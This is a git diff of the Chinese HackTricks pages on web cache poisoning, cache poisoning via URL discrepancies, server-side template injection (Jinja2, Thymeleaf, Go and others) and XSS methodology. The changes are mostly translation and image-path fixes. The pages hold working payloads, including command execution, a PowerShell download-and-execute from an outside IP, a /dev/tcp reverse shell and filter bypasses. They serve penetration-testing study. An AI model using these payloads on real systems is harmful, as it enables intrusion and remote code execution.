如果服务器支持通过 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 等头部更改 HTTP 方法,则可以请求一个有效页面,改变方法使得服务器不支持,从而导致错误响应被缓存:
如果服务器支持通过 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 等头部更改 HTTP 方法。可以请求一个有效的页面,改变方法使得服务器不支持,从而导致错误响应被缓存:
```
GET /blogs HTTP/1.1
Host: redacted.com
@ -77,7 +77,7 @@ Cache: miss
```
* **长重定向 DoS**
如以下示例所示x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图在没有未缓存的 x 的情况下访问该 URL 的人将收到错误响应:
如以下示例所示x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图在没有未缓存的 x 密钥的情况下访问该 URL 的人将收到错误响应:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@ -94,7 +94,7 @@ CF-Cache-Status: miss
```
* **主机头部大小写规范化**
主机头部应该是不区分大小写的,但某些网站期望它是小写的,如果不是则返回错误:
主机头部应该是不区分大小写的,但某些网站期望它是小写的,如果不是则返回错误:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
@ -137,8 +137,8 @@ Cache: hit
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -0,0 +1,79 @@
# Cache Poisoning via URL discrepancies
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
这是对帖子 [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) 中提出的技术的总结,以执行缓存中毒攻击 **利用缓存代理和 Web 服务器之间的差异。**
{% hint style="info" %}
此攻击的目标是 **让缓存服务器认为正在加载静态资源**,因此它会缓存该资源,而缓存服务器将路径的一部分存储为缓存键,但 Web 服务器响应解析另一个路径。Web 服务器将解析实际路径,这将加载一个动态页面(可能存储有关用户的敏感信息、恶意负载如 XSS 或重定向以从攻击者网站加载 JS 文件等)。
{% endhint %}
## 分隔符
**URL 分隔符** 根据框架和服务器的不同而有所不同,影响请求的路由和响应的处理。一些常见的源分隔符包括:
* **分号**:在 Spring 中用于矩阵变量(例如 `/hello;var=a/world;var1=b;var2=c``/hello/world`)。
* **点**:在 Ruby on Rails 中指定响应格式(例如 `/MyAccount.css``/MyAccount`)。
* **空字节**:在 OpenLiteSpeed 中截断路径(例如 `/MyAccount%00aaa``/MyAccount`)。
* **换行字节**:在 Nginx 中分隔 URL 组件(例如 `/users/MyAccount%0aaaa``/account/MyAccount`)。
可以通过以下过程找到其他特定的分隔符:
* **步骤 1**:识别不可缓存的请求,并使用它们监控带有潜在分隔符的 URL 的处理方式。
* **步骤 2**:将随机后缀附加到路径,并比较服务器的响应以确定字符是否作为分隔符。
* **步骤 3**:在随机后缀之前引入潜在分隔符,以查看响应是否发生变化,指示分隔符的使用。
## 规范化与编码
* **目的**:缓存和源服务器中的 URL 解析器规范化 URL以提取路径以进行端点映射和缓存键。
* **过程**:识别路径分隔符,通过解码字符和删除点段提取和规范化路径。
### **编码**
不同的 HTTP 服务器和代理(如 Nginx、Node 和 CloudFront以不同的方式解码分隔符导致 CDNs 和源服务器之间的不一致,这可能被利用。例如,如果 Web 服务器执行此转换 `/myAccount%3Fparam``/myAccount?param`,但缓存服务器将路径 `/myAccount%3Fparam` 作为键保留,则存在不一致。
检查这些不一致的一种方法是发送请求 URL 编码不同字符,在加载路径时不进行任何编码,并检查编码路径的响应是否来自缓存响应。
### 点段
涉及点的路径规范化对于缓存中毒攻击也非常有趣。例如,`/static/../home/index` 或 `/aaa..\home/index`,一些缓存服务器将这些路径缓存为自身作为键,而其他服务器可能解析路径并使用 `/home/index` 作为缓存键。\
就像之前一样,发送这些请求并检查响应是否来自缓存有助于识别对 `/home/index` 的响应是否是请求这些路径时发送的响应。
## 静态资源
如果响应被识别为静态,多个缓存服务器将始终缓存该响应。这可能是因为:
* **扩展名**Cloudflare 将始终缓存以下扩展名的文件7z、csv、gif、midi、png、tif、zip、avi、doc、gz、mkv、ppt、tiff、zst、avif、docx、ico、mp3、pptx、ttf、apk、dmg、iso、mp4、ps、webm、bin、ejs、jar、ogg、rar、webp、bmp、eot、jpg、otf、svg、woff、bz2、eps、jpeg、pdf、svgz、woff2、class、exe、js、pict、swf、xls、css、flac、mid、pls、tar、xlsx
* 可以通过使用分隔符和静态扩展强制缓存存储动态响应,例如请求 `/home$image.png` 将缓存 `/home$image.png`,而源服务器将响应 `/home`
* **知名静态目录**:以下目录包含静态文件,因此其响应应被缓存:/static、/assets、/wp-content、/media、/templates、/public、/shared
* 可以通过使用分隔符、静态目录和点强制缓存存储动态响应,例如:`/home/..%2fstatic/something` 将缓存 `/static/something`,而响应将是 `/home`
* **静态目录 + 点**:请求 `/static/..%2Fhome``/static/..%5Chome` 可能会按原样缓存,但响应可能是 `/home`
* **静态文件**:一些特定文件总是被缓存,如 `/robots.txt`、`/favicon.ico` 和 `/index.html`。这可以被滥用,例如 `/home/..%2Frobots.txt`,其中缓存可能存储 `/robots.txt`,而源服务器响应 `/home`
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# SSTI (Server Side Template Injection)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,7 +10,7 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
@ -25,7 +25,7 @@
服务器端模板注入是一种漏洞,当攻击者能够将恶意代码注入到在服务器上执行的模板中时,就会发生这种漏洞。此漏洞可以在多种技术中找到,包括 Jinja。
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的易受攻击代码片段的示例:
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的脆弱代码片段的示例:
```python
output = template.render(name=request.args.get('name'))
```
@ -183,7 +183,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf 要求这些表达式放置在特定属性中。然而,其他模板位置支持 _表达式内联_,使用语法如 `[[...]]``[(...)]`。因此,一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`
然而这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态从字符串创建模板,这并不常见。
然而这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发者需要实现自己的 `TemplateResolver` 以动态创建字符串模板,这并不常见。
Thymeleaf 还提供 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用,如 Thymeleaf 文档中所示:
```java
@ -209,7 +209,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Spring 框架 (Java)
### Spring框架 (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
@ -282,6 +282,7 @@ Pebble 的旧版本(< 版本 3.0.9
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@ -385,7 +386,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
表达式语言 (EL) 是一个基本特性,促进了 JavaEE 中表现层(如网页)与应用逻辑(如托管 bean之间的交互。它在多个 JavaEE 技术中被广泛使用,以简化这种通信。利用 EL 的关键 JavaEE 技术包括:
* **JavaServer Faces (JSF)**:使用 EL 将 JSF 页面中的组件绑定到相应的后端数据和操作。
* **JavaServer Pages (JSP)**EL 在 JSP 中用于访问和操作 JSP 页面中的数据,使得连接页面元素与应用数据变得更容易。
* **JavaServer Pages (JSP)**EL 在 JSP 中用于访问和操作 JSP 页面中的数据,使得连接页面元素与应用数据变得更容易。
* **Java EE 的上下文和依赖注入 (CDI)**EL 与 CDI 集成,允许 web 层与托管 bean 之间无缝交互,确保更连贯的应用结构。
查看以下页面以了解更多关于 **EL 解释器的利用**
@ -603,7 +604,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个编译的 PHP 模板引擎,使用 XML 标签将文档分成不同部分
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个编译的 PHP 模板引擎,使用 XML 标签将文档分成不同部分
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -627,7 +628,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
```
* \= 错误
* ${7\*7} = ${7\*7}
* 内容
* 没有任何内容
```java
{{#with "s" as |string|}}
{{#with "e"}}
@ -765,6 +766,7 @@ home = pugjs.render(injected_page)
{{os.system('whoami')}}
{{os.system('whoami')}}
```
@ -797,6 +799,7 @@ home = pugjs.render(injected_page)
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
@ -871,8 +874,8 @@ ${x}
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Nothing
* `<%= response.write(date()) %>` = \<Date>
* `<%= foo %>` =
* `<%= response.write(date()) %>` = \<日期>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@ -896,7 +899,7 @@ ${x}
* `{{ . }}`:揭示数据结构输入。例如,如果传递了一个具有 `Password` 属性的对象,`{{ .Password }}` 可能会暴露它。
* `{{printf "%s" "ssti" }}`:预计会显示字符串 "ssti"。
* `{{html "ssti"}}``{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [这里](https://golang.org/pkg/text/template)。
* `{{html "ssti"}}``{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [here](https://golang.org/pkg/text/template)。
**XSS Exploitation**
@ -906,7 +909,7 @@ vbnet Copy code
**RCE Exploitation**
RCE 利用在 `html/template``text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数使用“call”值而在 `html/template` 中不允许。有关这些模块的文档可在 [这里查看 html/template](https://golang.org/pkg/html/template/) 和 [这里查看 text/template](https://golang.org/pkg/text/template/)。
RCE 利用在 `html/template``text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数使用“call”值而在 `html/template` 中不允许。有关这些模块的文档可在 [here for html/template](https://golang.org/pkg/html/template/) 和 [here for text/template](https://golang.org/pkg/text/template/) 中找到
通过 Go 中的 SSTI 进行 RCE可以调用对象方法。例如如果提供的对象具有执行命令的 `System` 方法,可以像 `{{ .System "ls" }}` 一样利用它。通常需要访问源代码才能进行利用,如给定的示例所示:
```go
@ -954,13 +957,13 @@ return string(out)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会**使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Jinja2 SSTI
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,7 +10,7 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
@ -35,7 +35,7 @@ app.run()
### **调试语句**
如果启用了调试扩展,将会有一个 `debug` 标签可用转储当前上下文以及可用的过滤器和测试。这对于查看在模板中可以使用的内容而无需设置调试器非常有用。
如果启用了调试扩展,将会有一个 `debug` 标签可用转储当前上下文以及可用的过滤器和测试。这对于查看在模板中可以使用的内容而无需设置调试器非常有用。
```python
<pre>
@ -47,6 +47,7 @@ app.run()
</pre>
```
### **转储所有配置变量**
@ -63,6 +64,7 @@ app.run()
```
## **Jinja 注入**
@ -71,7 +73,7 @@ app.run()
### 访问全局对象
例如,在代码 `render_template("hello.html", username=username, email=email)` 中,对象 username 和 email **来自非沙箱的 Python 环境**,并且在**沙箱环境**中将是**可访问的**。\
此外,还有其他对象将**始终可以从沙箱环境中访问**,这些是:
此外,还有其他对象将**始终可以从沙箱环境中访问**,这些对象是:
```
[]
''
@ -123,15 +125,16 @@ dict.__mro__[-1]
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Escaping
**恢复** `<class 'object'>` 并调用 `__subclasses__`,我们现在可以使用这些类来读取和写入文件以及执行代码。
**恢复** `<class 'object'>` 并调用 `__subclasses__`,我们现在可以使用这些类来读取和写入文件以及执行代码。
`__subclasses__` 的调用给了我们机会 **访问数百个新函数**,我们将仅通过访问 **文件类****读取/写入文件** 或任何具有访问权限的类,该类 **允许执行命令**(如 `os`)。
`__subclasses__` 的调用给了我们机会**访问数百个新函数**,我们只需访问 **文件类****读取/写入文件** 或任何可以访问 **允许执行命令** 的类(如 `os`)。
**读取/写入远程文件**
```python
@ -201,6 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
* [**返回这里以获取更多访问全局对象的选项**](jinja2-ssti.md#accessing-global-objects)
* [**返回这里以获取更多访问对象类的选项**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
@ -231,7 +235,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Without several chars
## 没有几个字符
没有 **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
@ -241,11 +245,12 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
## Jinja 注入没有 **\<class 'object'>**
从 [**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以到达 **RCE 而不使用该类。**\
如果你设法从这些全局对象中获取任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 是非常 **简单** 的。
如果你设法从这些全局对象中获取任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 是非常 **简单** 的。
你可以通过以下方式从对象 **`request`**、**`config`** 和任何 **其他** 有趣的 **全局对象****找到函数**
```bash
@ -281,6 +286,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
@ -290,7 +296,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具但在真实场景中也可以用于暴力破解无效参数。该工具仅仅喷单词和查询以检测过滤器,寻找绕过方法,并提供一个交互式控制台。
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具但在真实场景中也可以用于暴力破解无效参数。该工具仅仅喷单词和查询以检测过滤器,寻找绕过方法,并提供一个交互式控制台。
```
webui:
As the name suggests, web UI
@ -318,19 +324,19 @@ The request will be urlencoded by default according to the HTTP format, which ca
## 参考文献
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* 查看 [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* 查看[attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3)。
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{% hint style="success" %}
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践 AWS Hacking<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP Hacking<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。

View file

@ -8,7 +8,7 @@
## 方法论
1. 检查**你控制的任何值**_参数__路径__头部__cookies_是否在HTML中被**反射**或被**JS**代码**使用**。
1. 检查**你控制的任何值**_参数_、_路径_、_头部__cookies_是否在HTML中被**反射**或被**JS**代码**使用**。
2. **找到反射/使用的上下文**
3. 如果**被反射**
1. 检查**你可以使用哪些符号**,并根据此准备有效载荷:
@ -16,7 +16,7 @@
1. 你能创建新的HTML标签吗
2. 你能使用支持`javascript:`协议的事件或属性吗?
3. 你能绕过保护措施吗?
4. HTML内容是否被任何客户端JS引擎_AngularJS__VueJS__Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
4. HTML内容是否被任何客户端JS引擎_AngularJS_、_VueJS_、_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行JS代码的HTML标签你能利用[**悬挂标记 - 无HTML脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
2. 在**HTML标签**内:
1. 你能退出到原始HTML上下文吗
@ -53,7 +53,7 @@
### 原始HTML
如果你的输入在**原始HTML**页面中被**反射**,你需要利用某些**HTML标签**来执行JS代码`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的HTML标签中的一些\
如果你的输入在**原始HTML**页面中被**反射**,你需要利用某些**HTML标签**来执行JS代码`<img``<iframe``<svg``<script`...这些只是你可以使用的许多可能的HTML标签中的一些\
此外,请记住[客户端模板注入](../client-side-template-injection-csti.md)。
### 在HTML标签属性内
@ -63,9 +63,9 @@
1. **从属性和标签中逃逸**然后你将处于原始HTML中并创建新的HTML标签进行利用`"><img [...]`
2. 如果你**可以从属性中逃逸但不能从标签中逃逸**`>`被编码或删除),根据标签你可以**创建一个事件**来执行JS代码`" autofocus onfocus=alert(1) x="`
3. 如果你**无法从属性中逃逸**`"`被编码或删除),那么根据**你的值被反射在哪个属性**中**如果你控制整个值或只是部分**你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入在“**不可利用的标签**”中被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社交工程来利用这一点**`" accesskey="x" onclick="alert(1)" x="`**
4. 如果你的输入在“**不可利用的标签**”中被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社交工程来利用**`" accesskey="x" onclick="alert(1)" x="`**
奇怪的例子是Angular执行XSS如果你控制一个类名
如果你控制一个类名Angular执行XSS的奇怪例子
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -73,14 +73,14 @@
```
### Inside JavaScript code
在这种情况下,您的输入在 HTML 页面、`.js` 文件或使用 **`javascript:`** 协议的属性之间反射在 **`<script> [...] </script>`** 标签中:
在这种情况下,您的输入在 HTML 页面中的 **`<script> [...] </script>`** 标签之间反射,或者在 `.js` 文件中,或在使用 **`javascript:`** 协议的属性中:
* 如果在 **`<script> [...] </script>`** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
* 如果在 **`<script> [...] </script>`** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离这个上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
* 如果在 **JS 字符串** 内反射,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* 如果在模板字面量反射,您可以使用 `${ ... }` 语法 **嵌入 JS 表达式** `` var greetings = `Hello, ${alert(1)}` ``
* 如果在模板字面量反射,您可以使用 `${ ... }` 语法 **嵌入 JS 表达式** `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode 编码** 可用于编写 **有效的 javascript 代码**
```javascript
\u{61}lert(1)
